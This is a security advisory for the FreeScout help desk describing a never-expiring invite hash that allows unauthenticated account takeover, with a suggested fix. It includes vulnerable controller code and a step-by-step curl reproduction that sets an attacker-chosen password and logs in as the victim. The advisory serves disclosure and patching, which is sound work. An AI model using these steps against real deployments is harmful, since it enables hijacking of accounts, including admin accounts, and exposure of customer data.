User invitation hash never expires: permanent unauthenticated account takeover if invite link leaks

Critical **freescout-help-desk** published **GHSA-hqff-cwx7-3jpm** 2 weeks ago

Package

freescout-help-desk/freescout

Affected versions	Patched versions
<1.8.217	1.8.217

Description

Summary

The `/user-setup/{hash}` endpoint accepts a 60-character random `invite_hash` to set a new user's password. The endpoint performs **no expiration check** — the hash remains valid indefinitely until consumed. Combined with realistic hash-leakage scenarios (forwarded invite emails, HTTP referrer to external CDNs on the setup page, server-side log exposure, abandoned invite emails in shared inboxes), this enables **unauthenticated permanent account takeover** months or years after invite issuance.

If the leaked invite was sent to an admin, the takeover yields admin access.

Affected versions

`<= 1.8.216` (tested on commit `e6fe63e71f37b5b9683454edcf5a40e4288c0e36`).

Root cause

`app/Http/Controllers/OpenController.php`, `userSetupSave()` lines 47-115:

```
public function userSetupSave($hash, Request $request)
{
    if (auth()->user()) { return redirect()->route('dashboard'); }
    $user = User::where('invite_hash', $hash)->first();    // only checks hash existence
    if (!$user) { abort(404); }
    // No timestamp check, no expiry, no rate limit.
    // ... validation of email/password ...
    $user->password = bcrypt($request->password);
    $user->invite_state = User::INVITE_STATE_ACTIVATED;    // = 1 per User.php:67
    $user->invite_hash = '';                                // only cleared after consum
    $user->save();
    Auth::guard()->login($user);                            // attacker is now logged in
    return redirect()->route('dashboard');
}
```

`invite_hash` is set by `User::sendInvite()` using `Str::random(60)` and only cleared upon successful consumption. There is no `invite_sent_at` column.

Reproduction (live, fully unauthenticated)

```
HASH="<60-char invite_hash leaked from email/log/referrer>"

# Step 1: GET setup page (unauthenticated)
JAR=/tmp/jar.cookies
curl -sS -c "$JAR" "http://target/user-setup/$HASH" -o /tmp/g.html
CSRF=$(sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' /tmp/g.html | head -1)

# Step 2: POST attacker-controlled password
curl -sS -b "$JAR" -X POST "http://target/user-setup/$HASH" \
  --data-urlencode "_token=$CSRF" \
  --data-urlencode "email=victim@example.com" \
  --data-urlencode "password=hacked12345" \
  --data-urlencode "password_confirmation=hacked12345" \
  --data-urlencode "timezone=UTC" \
  --data-urlencode "time_format=1"
# -> 302 Location: http://target

# Step 3: Login with new password
JAR2=/tmp/jar2.cookies
curl -sS -c "$JAR2" "http://target/login" -o /tmp/l.html
CSRF2=$(sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' /tmp/l.html | head -1)
curl -sS -b "$JAR2" -X POST "http://target/login" \
  --data-urlencode "_token=$CSRF2" \
  --data-urlencode "email=victim@example.com" \
  --data-urlencode "password=hacked12345"
# -> 302 Location: /home

curl -sSL -b "$JAR2" "http://target/home" | grep -oE 'data-auth_user_id="[0-9]+"'
# -> data-auth_user_id="<victim_id>"  -- attacker has full session

# DB observation:
```

```
mysql> SELECT id,email,invite_state,invite_hash FROM users WHERE id=<victim>;
# -> invite_state=1 (ACTIVATED), invite_hash='' (consumed)
```

End-to-end live verification (docker sandbox):

- HTTP 302 on setup POST
- Login with attacker password succeeds (HTTP 302 -> /home)
- `data-auth_user_id` confirms attacker-as-victim session

Realistic hash-leakage vectors

The 60-char `Str::random` hash is cryptographically strong against brute force (62^60 keyspace), so the attack hinges on hash exposure. Realistic vectors:

1. **Forwarded invite emails** — recipient forwards "welcome to our helpdesk" email to a colleague who later leaves the company
2. **HTTP Referrer leakage** — `/user-setup/{hash}` page may load external resources (fonts, analytics) that receive the full URL in the Referer header
3. **Server access logs** — invite URLs land in nginx/Apache access logs which may be exposed via log-shipping misconfigurations or backup file disclosure
4. **Shared inbox** — many small organizations use shared inboxes where any team member can read invite emails (including former employees with retained access)
5. **Email archives / search indexing** — invite emails persist in IMAP archives indefinitely
6. **Long-pending invites** — admins frequently send invites that the recipient never completes; the hash sits valid for the lifetime of the deployment

Impact

- **Unauthenticated remote account takeover** for any user whose invite hash leaks
- **Admin compromise** if the leaked invite was for an admin role
- **Persistent access**: attacker can create additional admin accounts after takeover
- **Customer data access**: read all helpdesk conversations, customer PII, SMTP credentials

Suggested fix

1. Add `invite_sent_at` timestamp column to `users` table (migration)
2. Populate it in `User::sendInvite()`
3. Enforce a TTL (proposed: 7 days, configurable) and require `invite_state == INVITE_STATE_SENT`:

```
--- a/app/Http/Controllers/OpenController.php
+++ b/app/Http/Controllers/OpenController.php
@@ -49,7 +49,10 @@
```

```
            if (auth()->user()) {
                return redirect()->route('dashboard');
            }
-           $user = User::where('invite_hash', $hash)->first();
+           $user = User::where('invite_hash', $hash)
+               ->where('invite_state', User::INVITE_STATE_SENT)
+               ->where('invite_sent_at', '>=', now()->subDays(config('app.invite_ttl_days'
+               ->first();
            if (!$user) {
                abort(404);
            }
```

4. Add a scheduled job to clear `invite_hash` for users whose `invite_sent_at` is older than the TTL.
5. Consider a "resend invite" UI for admins so legitimate users with expired hashes can be re-invited without manual DB intervention.

Constants for reference (`app/User.php:67-69`):

- `INVITE_STATE_ACTIVATED = 1`
- `INVITE_STATE_SENT      = 2`
- `INVITE_STATE_NOT_INVITED = 3`

(Note: ACTIVATED=1 is the lower number, which is unusual but matches the codebase.)

Disclosure

Discovered 2026-04-17 / 2026-04-18 by automated security analysis (web-vuln-agent). 90-day disclosure window: public disclosure planned 2026-07-17.

Severity

Critical 9.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2026-41902

Weaknesses

▶ CWE-613

Credits

whatisproblem Reporter